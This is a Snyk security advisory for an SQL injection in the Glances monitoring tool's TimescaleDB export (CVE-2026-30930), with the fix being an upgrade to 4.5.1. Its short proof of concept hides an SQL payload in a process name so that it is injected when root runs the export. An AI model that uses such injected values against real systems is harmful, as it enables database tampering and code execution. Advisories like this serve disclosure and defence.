SQL Injection Affecting glances package, versions [,4.5.1)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-GLANCES-15469089
- published12 Mar 2026
- disclosed9 Mar 2026
- creditAman Rawat
Introduced: 9 Mar 2026
CVE-2026-30930 (opens in a new tab)How to fix?
Upgrade Glances to version 4.5.1 or higher.
Overview
Glances is an A cross-platform curses-based monitoring tool
Affected versions of this package are vulnerable to SQL Injection via the normalize() function in the TimescaleDB export module, which constructs SQL queries using unsanitized system monitoring data such as process names, filesystem mount points, network interface names, or container names. An attacker can execute arbitrary SQL commands, exfiltrate database data, or potentially achieve remote code execution by crafting process names or other monitored values containing malicious SQL payloads.
PoC
- As a normal user, create a process with the name containing the SQL Injection payload:
exec -a "x'); COPY (SELECT version()) TO '/tmp/sqli_proof.txt' --" python3 -c 'import time; [sum(range(500000)) or time.sleep(0.01) for _ in iter(int, 1)]'
- Start Glances with TimescaleDB export as root user:
glances --export timescaledb --export-process-filter ".*" --time 5 --stdout cpu
- Observe that
sqli_proof.txtis created in /tmp directory.